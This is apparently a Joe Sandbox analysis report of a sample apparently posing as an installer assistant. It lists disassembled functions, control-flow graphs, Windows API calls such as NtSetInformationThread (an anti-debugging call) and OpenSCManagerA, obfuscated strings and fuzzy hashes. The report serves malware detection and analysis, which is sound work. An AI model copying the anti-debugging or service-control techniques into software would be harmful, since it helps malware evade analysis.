8043->8028 8044->7990 8049 6c8f3dd2 8044->8049 8064 6c8f3f75-6c8f3fa1 8045->8064 8051 6c8f3c7b-6c8f3cd0 8046->8051 8052 6c8f3e31 8046->8052 8053 6c8f3e1b-6c8f3e24 8047->8053 8055 6c8f3dde-6c8f3e17 8048->8055 8056 6c8f3e36-6c8f3e3d 8048->8056 8054 6c8f3e76-6c8f3e79 8049->8054 8051->8041 8052->7977 8053->8044 8053->8054 8054->8017 8055->8053 8059 6c8f3e3f-6c8f3e5a 8056->8059 8060 6c8f3e5c-6c8f3e5f 8056->8060 8059->8053 8060->8051 8063 6c8f3e65-6c8f3e69 8060->8063 8063->8044 8063->8054 8068 6c8f3fa3-6c8f3fa8 8064->8068 8069 6c8f4020-6c8f4026 8064->8069 8070 6c8f3fae-6c8f3fcf 8068->8070 8071 6c8f407c-6c8f4081 8068->8071 8072 6c8f402c-6c8f403c 8069->8072 8073 6c8f3f06-6c8f3f35 8069->8073 8075 6c8f40aa-6c8f40ae 8070->8075 8071->8075 8078 6c8f4083-6c8f408a 8071->8078 8076 6c8f403e-6c8f4058 8072->8076 8077 6c8f40b3-6c8f40b8 8072->8077 8074 6c8f3f38-6c8f3f61 8073->8074 8080 6c8f3f64-6c8f3f67 8074->8080 8081 6c8f3f6b-6c8f3f6f 8075->8081 8082 6c8f405a-6c8f4063 8076->8082 8077->8070 8079 6c8f40be-6c8f40c9 8077->8079 8078->8074 8083 6c8f4090 8078->8083 8079->8075 8084 6c8f40cb-6c8f40d4 8079->8084 8085 6c8f3f69 8080->8085 8081->8064 8086 6c8f4069-6c8f406c 8082->8086 8087 6c8f40f5-6c8f413f 8082->8087 8083->8045 8088 6c8f40a7 8083->8088 8084->8088 8089 6c8f40d6-6c8f40f0 8084->8089 8085->8081 8091 6c8f4144-6c8f414b 8086->8091 8092 6c8f4072-6c8f4077 8086->8092 8087->8085 8088->8075 8089->8082 8091->8081 8092->8080
                              APIs
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CurrentThread
                              • String ID:
                              • API String ID: 2882836952-0
                              • Opcode ID: b3c85f4640fe36f0d82dfa79e8054005b30954452c88188796474e5df5eff0f5
                              • Instruction ID: 73c69b63a24166c7fbc670b5bc19c869fdceec83c536a4648b838a1fbe09e744
                              • Opcode Fuzzy Hash: b3c85f4640fe36f0d82dfa79e8054005b30954452c88188796474e5df5eff0f5
                              • Instruction Fuzzy Hash: 5F51CE31244B018FC3308F28CA80795B7A3AFD5394F698E5DC0F65BA95DB74B94B8B52
                              Function 6C8F39CF Relevance: 3.1, APIs: 2, Instructions: 139threadCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CurrentThread
                              • String ID:
                              • API String ID: 2882836952-0
                              • Opcode ID: 45959a76a43215a66bbd10b17314b5dad1a751a984c066e1eaa51f66da2c67c1
                              • Instruction ID: f7721634c461388b49b167cd26a8d6fccf273490b5780b4601427a12f11ef834
                              • Opcode Fuzzy Hash: 45959a76a43215a66bbd10b17314b5dad1a751a984c066e1eaa51f66da2c67c1
                              • Instruction Fuzzy Hash: 3C51AD31104B058BC3308F28C680796B7A3AFD5394F698E5DC0F65BA95DB71B94B8B92
                              Function 6C8F3D18 Relevance: 3.1, APIs: 2, Instructions: 89threadnativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentThread.KERNEL32 ref: 6C8F3E9D
                              • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8F3EAA
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: Thread$CurrentInformation
                              • String ID:
                              • API String ID: 1650627709-0
                              • Opcode ID: 8f47ca1f92717364f7a151ede60bd4ad1f74585f14916b2da75b37d91902c78e
                              • Instruction ID: a7999712003a5ab14714de90224fca95aed126be72cc27e1d2c9f4b82464682a
                              • Opcode Fuzzy Hash: 8f47ca1f92717364f7a151ede60bd4ad1f74585f14916b2da75b37d91902c78e
                              • Instruction Fuzzy Hash: D5312431105B018FD330CF28C9847C6B7A3AFD6394F298E1DC0B65BA81DB74784A8B62
                              Function 6C8F3D62 Relevance: 3.1, APIs: 2, Instructions: 83threadnativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentThread.KERNEL32 ref: 6C8F3E9D
                              • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8F3EAA
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: Thread$CurrentInformation
                              • String ID:
                              • API String ID: 1650627709-0
                              • Opcode ID: 4f3e36ca73a473f8b3a0fc5083b6d1f4c063bda4264d712225878f8de154fd79
                              • Instruction ID: 41328adc654cca098012e00fb36532b9fb12be0234fc49bb73ec0603323e211f
                              • Opcode Fuzzy Hash: 4f3e36ca73a473f8b3a0fc5083b6d1f4c063bda4264d712225878f8de154fd79
                              • Instruction Fuzzy Hash: 7D312131104B058BD734CF28C690796B7B7AF92384F294E1DC0F65BA81DB71788ACB52
                              Function 6C8F3C62 Relevance: 3.1, APIs: 2, Instructions: 72threadnativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentThread.KERNEL32 ref: 6C8F3E9D
                              • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8F3EAA
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: Thread$CurrentInformation
                              • String ID:
                              • API String ID: 1650627709-0
                              • Opcode ID: 37b154fb8687395b140da499f9cf3a2c3a9e1ff57741a9585ca2d3532f6cc049
                              • Instruction ID: c77da74efd617a484b9610d31df7dd10d7015364d1dfb5c85ffbd6badb47548a
                              • Opcode Fuzzy Hash: 37b154fb8687395b140da499f9cf3a2c3a9e1ff57741a9585ca2d3532f6cc049
                              • Instruction Fuzzy Hash: 0E2138301087058BD374CF64CA9079677B7AFC2385F144E1DC0B687A81DB70784A8B52
                              Function 6CA75690 Relevance: 3.1, APIs: 2, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerA.SECHOST(00000000,00000000,00000001), ref: 6CA756A0
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: ManagerOpen
                              • String ID:
                              • API String ID: 1889721586-0
                              • Opcode ID: 941b98dc6c481e0e9fc171f76101ffbc67b4b203a546a2a554dcfa6541770000
                              • Instruction ID: 0658a3b8aa17092459b0197fdb8dc5e53ecbea1743b690cef0fcbbf42241fa27
                              • Opcode Fuzzy Hash: 941b98dc6c481e0e9fc171f76101ffbc67b4b203a546a2a554dcfa6541770000
                              • Instruction Fuzzy Hash: 68311A78608351EFC711DF28C544A4ABBF0BB89765F588C5AF889C7361C371C8849B63
                              Function 6CA6B430 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileA.KERNEL32(?,?), ref: 6CA6B44C
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: FileFindFirst
                              • String ID:
                              • API String ID: 1974802433-0
                              • Opcode ID: 434e945bd96cc24c2ee3b9218802d395700ef2390cf5cb04d5d8fee752441b17
                              • Instruction ID: abebf95da8ab30dc8c75be62dd5a081bab8f9654c69397bd7675e1a498720093
                              • Opcode Fuzzy Hash: 434e945bd96cc24c2ee3b9218802d395700ef2390cf5cb04d5d8fee752441b17
                              • Instruction Fuzzy Hash: 19114874509350AFD700DF2AE58850EBBE4BF86314F188E59F4A9CBB91D730CC84AB12
                              Function 6CA4AFA0 Relevance: 44.5, APIs: 3, Strings: 22, Instructions: 734fileCOMMON
                              Download Yara Rule
                              APIs
                              • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 6CA4B117
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: FileRead
                              • String ID: $53N!$53N!$H$I_#]$J_#]$J_#]$Y<Uq$Y<Uq$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$f@n`$f@n`$jinc$|
                              • API String ID: 2738559852-1563143607
                              • Opcode ID: fea4ba845e2908b3662fda967c9151b28e8c6dad84dc0a2f660f4747508af295
                              • Instruction ID: 93bfe9a4af9428c9d2e62892b73d810d6c1bfa2a409f679971e0f8b16c3532fd
                              • Opcode Fuzzy Hash: fea4ba845e2908b3662fda967c9151b28e8c6dad84dc0a2f660f4747508af295
                              • Instruction Fuzzy Hash: 9962387060D7818FC724CF28D490A5EBBE1ABD9315F288E1EF8A9CB751D735D8858B42
                              Function 6CA8D043 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 6824 6ca8d043-6ca8d053 6825 6ca8d06d-6ca8d06f 6824->6825 6826 6ca8d055-6ca8d068 call 6ca7ff4f call 6ca7ff3c 6824->6826 6827 6ca8d3d4-6ca8d3e1 call 6ca7ff4f call 6ca7ff3c 6825->6827 6828 6ca8d075-6ca8d07b 6825->6828 6840 6ca8d3ec 6826->6840 6845 6ca8d3e7 call 6ca80690 6827->6845 6828->6827 6831 6ca8d081-6ca8d0a7 6828->6831 6831->6827 6834 6ca8d0ad-6ca8d0b6 6831->6834 6838 6ca8d0b8-6ca8d0cb call 6ca7ff4f call 6ca7ff3c 6834->6838 6839 6ca8d0d0-6ca8d0d2 6834->6839 6838->6845 6843 6ca8d0d8-6ca8d0db 6839->6843 6844 6ca8d3d0-6ca8d3d2 6839->6844 6846 6ca8d3ef-6ca8d3f2 6840->6846 6843->6844 6848 6ca8d0e1-6ca8d0e5 6843->6848 6844->6846 6845->6840 6848->6838 6851 6ca8d0e7-6ca8d0fe 6848->6851 6853 6ca8d14f-6ca8d155 6851->6853 6854 6ca8d100-6ca8d103 6851->6854 6855 6ca8d11b-6ca8d132 call 6ca7ff4f call 6ca7ff3c call 6ca80690 6853->6855 6856 6ca8d157-6ca8d161 6853->6856 6857 6ca8d113-6ca8d119 6854->6857 6858 6ca8d105-6ca8d10e 6854->6858 6890 6ca8d307 6855->6890 6862 6ca8d168-6ca8d186 call 6ca84d65 call 6ca84d2b * 2 6856->6862 6863 6ca8d163-6ca8d165 6856->6863 6857->6855 6859 6ca8d137-6ca8d14a 6857->6859 6860 6ca8d1d3-6ca8d1e3 6858->6860 6859->6860 6866 6ca8d2a8-6ca8d2b1 call 6ca91f55 6860->6866 6867 6ca8d1e9-6ca8d1f5 6860->6867 6893 6ca8d188-6ca8d19e call 6ca7ff3c call 6ca7ff4f 6862->6893 6894 6ca8d1a3-6ca8d1cc call 6ca8b1d9 6862->6894 6863->6862 6878 6ca8d2b3-6ca8d2c5 6866->6878 6879 6ca8d324 6866->6879 6867->6866 6870 6ca8d1fb-6ca8d1fd 6867->6870 6870->6866 6875 6ca8d203-6ca8d227 6870->6875 6875->6866 6880 6ca8d229-6ca8d23f 6875->6880 6878->6879 6885 6ca8d2c7-6ca8d2d6 GetConsoleMode 6878->6885 6884 6ca8d328-6ca8d340 ReadFile 6879->6884 6880->6866 6882 6ca8d241-6ca8d243 6880->6882 6882->6866 6886 6ca8d245-6ca8d26b 6882->6886 6888 6ca8d39c-6ca8d3a7 GetLastError 6884->6888 6889 6ca8d342-6ca8d348 6884->6889 6885->6879 6891 6ca8d2d8-6ca8d2dc 6885->6891 6886->6866 6895 6ca8d26d-6ca8d283 6886->6895 6896 6ca8d3a9-6ca8d3bb call 6ca7ff3c call 6ca7ff4f 6888->6896 6897 6ca8d3c0-6ca8d3c3 6888->6897 6889->6888 6898 6ca8d34a 6889->6898 6892 6ca8d30a-6ca8d314 call 6ca84d2b 6890->6892 6891->6884 6899 6ca8d2de-6ca8d2f8 ReadConsoleW 6891->6899 6892->6846 6893->6890 6894->6860 6895->6866 6900 6ca8d285-6ca8d287 6895->6900 6896->6890 6906 6ca8d3c9-6ca8d3cb 6897->6906 6907 6ca8d300-6ca8d306 call 6ca7ff62 6897->6907 6904 6ca8d34d-6ca8d35f 6898->6904 6908 6ca8d319-6ca8d322 6899->6908 6909 6ca8d2fa GetLastError 6899->6909 6900->6866 6912 6ca8d289-6ca8d2a3 6900->6912 6904->6892 6915 6ca8d361-6ca8d365 6904->6915 6906->6892 6907->6890 6908->6904 6909->6907 6912->6866 6918 6ca8d37e-6ca8d389 6915->6918 6919 6ca8d367-6ca8d377 call 6ca8d46e 6915->6919 6922 6ca8d38b call 6ca8d3f3 6918->6922 6923 6ca8d395-6ca8d39a call 6ca8d726 6918->6923 6932 6ca8d37a-6ca8d37c 6919->6932 6930 6ca8d390-6ca8d393 6922->6930 6923->6930 6930->6932 6932->6892
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8Q
                              • API String ID: 0-4022487301
                              • Opcode ID: 90986c12ac46ac3457c522f1ec52b5c8d5344b6f14b97e7d7932f4d3812b4dc0
                              • Instruction ID: 48958e2c8e1d7f5db1c40f59b3c02a0c03ad5053da7768f3b124bcf8fa2d5375
                              • Opcode Fuzzy Hash: 90986c12ac46ac3457c522f1ec52b5c8d5344b6f14b97e7d7932f4d3812b4dc0
                              • Instruction Fuzzy Hash: 5DC10D70E0624A9FDF05CF99C880BADBBB4FF4A318F14415AE9159BB81C7709989CB20
                              Function 6CA945DC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 6933 6ca945dc-6ca9460c call 6ca94a5c 6936 6ca9460e-6ca94619 call 6ca7ff4f 6933->6936 6937 6ca94627-6ca94633 call 6ca91b7c 6933->6937 6944 6ca9461b-6ca94622 call 6ca7ff3c 6936->6944 6942 6ca9464c-6ca94695 call 6ca949c7 6937->6942 6943 6ca94635-6ca9464a call 6ca7ff4f call 6ca7ff3c 6937->6943 6952 6ca94702-6ca9470b GetFileType 6942->6952 6953 6ca94697-6ca946a0 6942->6953 6943->6944 6954 6ca94901-6ca94905 6944->6954 6955 6ca9470d-6ca9473e GetLastError call 6ca7ff62 CloseHandle 6952->6955 6956 6ca94754-6ca94757 6952->6956 6958 6ca946a2-6ca946a6 6953->6958 6959 6ca946d7-6ca946fd GetLastError call 6ca7ff62 6953->6959 6955->6944 6970 6ca94744-6ca9474f call 6ca7ff3c 6955->6970 6961 6ca94759-6ca9475e 6956->6961 6962 6ca94760-6ca94766 6956->6962 6958->6959 6963 6ca946a8-6ca946d5 call 6ca949c7 6958->6963 6959->6944 6966 6ca9476a-6ca947b8 call 6ca91d20 6961->6966 6962->6966 6967 6ca94768 6962->6967 6963->6952 6963->6959 6976 6ca947ba-6ca947c6 call 6ca94bd6 6966->6976 6977 6ca947d7-6ca947ff call 6ca94c80 6966->6977 6967->6966 6970->6944 6976->6977 6982 6ca947c8 6976->6982 6983 6ca94801-6ca94802 6977->6983 6984 6ca94804-6ca94845 6977->6984 6985 6ca947ca-6ca947d2 call 6ca8be95 6982->6985 6983->6985 6986 6ca94847-6ca9484b 6984->6986 6987 6ca94866-6ca94874 6984->6987 6985->6954 6986->6987 6989 6ca9484d-6ca94861 6986->6989 6990 6ca9487a-6ca9487e 6987->6990 6991 6ca948ff 6987->6991 6989->6987 6990->6991 6993 6ca94880-6ca948b3 CloseHandle call 6ca949c7 6990->6993 6991->6954 6996 6ca948b5-6ca948e1 GetLastError call 6ca7ff62 call 6ca91c8f 6993->6996 6997 6ca948e7-6ca948fb 6993->6997 6996->6997 6997->6991
                              APIs
                                • Part of subcall function 6CA949C7: CreateFileW.KERNEL32(00000000,00000000,?,6CA94685,?,?,00000000,?,6CA94685,00000000,0000000C), ref: 6CA949E4
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA946F0
                              • __dosmaperr.LIBCMT ref: 6CA946F7
                              • GetFileType.KERNEL32(00000000), ref: 6CA94703
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9470D
                              • __dosmaperr.LIBCMT ref: 6CA94716
                              • CloseHandle.KERNEL32(00000000), ref: 6CA94736
                              • CloseHandle.KERNEL32(6CA8B640), ref: 6CA94883
                              • GetLastError.KERNEL32 ref: 6CA948B5
                              • __dosmaperr.LIBCMT ref: 6CA948BC
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                              • String ID: 8Q
                              • API String ID: 4237864984-4022487301
                              • Opcode ID: 80bc409241830642e45d6890f523af6f9846c8abe63cc454776986fa43c9a3f2
                              • Instruction ID: 2495416b07dfd6b4f4d1c50c9e1dbff14dc1d4582328922f2df59ef12c15cb56
                              • Opcode Fuzzy Hash: 80bc409241830642e45d6890f523af6f9846c8abe63cc454776986fa43c9a3f2
                              • Instruction Fuzzy Hash: BFA13B32A241599FCF098F68CC527EE7BF1AB47328F18415DE821AF790CB35895ACB51
                              Function 6CA4C750 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 183COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7002 6ca4c750-6ca4c7a9 call 6ca770e0 7005 6ca4c7d0-6ca4c7d9 7002->7005 7006 6ca4c820-6ca4c825 7005->7006 7007 6ca4c7db-6ca4c7e0 7005->7007 7010 6ca4c827-6ca4c82c 7006->7010 7011 6ca4c8a0-6ca4c8a5 7006->7011 7008 6ca4c860-6ca4c865 7007->7008 7009 6ca4c7e2-6ca4c7e7 7007->7009 7012 6ca4c9a1-6ca4c9b8 WriteFile 7008->7012 7013 6ca4c86b-6ca4c870 7008->7013 7016 6ca4c8e2-6ca4c94f WriteFile 7009->7016 7017 6ca4c7ed-6ca4c7f2 7009->7017 7018 6ca4c977-6ca4c98b 7010->7018 7019 6ca4c832-6ca4c837 7010->7019 7014 6ca4c9f9-6ca4ca29 call 6ca7b910 7011->7014 7015 6ca4c8ab-6ca4c8b0 7011->7015 7023 6ca4c9c2-6ca4c9ef call 6ca7be90 ReadFile 7012->7023 7022 6ca4c876-6ca4c87b 7013->7022 7013->7023 7014->7005 7025 6ca4c8b6-6ca4c8dd 7015->7025 7026 6ca4ca2e-6ca4ca33 7015->7026 7028 6ca4c959-6ca4c96d WriteFile 7016->7028 7027 6ca4c7f8-6ca4c7fd 7017->7027 7017->7028 7029 6ca4c98f-6ca4c99c 7018->7029 7020 6ca4c83d-6ca4c842 7019->7020 7021 6ca4c7ab-6ca4c7c0 7019->7021 7020->7005 7030 6ca4c844-6ca4c857 7020->7030 7033 6ca4c7c3-6ca4c7c8 7021->7033 7022->7005 7032 6ca4c881-6ca4c89b 7022->7032 7023->7014 7025->7033 7026->7005 7035 6ca4ca39-6ca4ca47 7026->7035 7027->7005 7036 6ca4c7ff-6ca4c81a 7027->7036 7028->7018 7029->7005 7030->7033 7032->7029 7033->7005 7036->7033
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: :uW$;uW$;uW$> 4!$> 4!
                              • API String ID: 0-4100612575
                              • Opcode ID: ad52c348ec394ddfa40236968c0d18f4106a92e93e1e6dc16364042333b3735f
                              • Instruction ID: 5161507bc5f4d31b5321c3bba15b2579971bf2f81eb131496e8a6171e0368954
                              • Opcode Fuzzy Hash: ad52c348ec394ddfa40236968c0d18f4106a92e93e1e6dc16364042333b3735f
                              • Instruction Fuzzy Hash: 77716BB4208345AFD720DF19C480B9ABBF5BF8A708F14892EF498D7651D771D8888B92
                              Function 6CA4BCA0 Relevance: 9.4, APIs: 1, Strings: 4, Instructions: 605COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
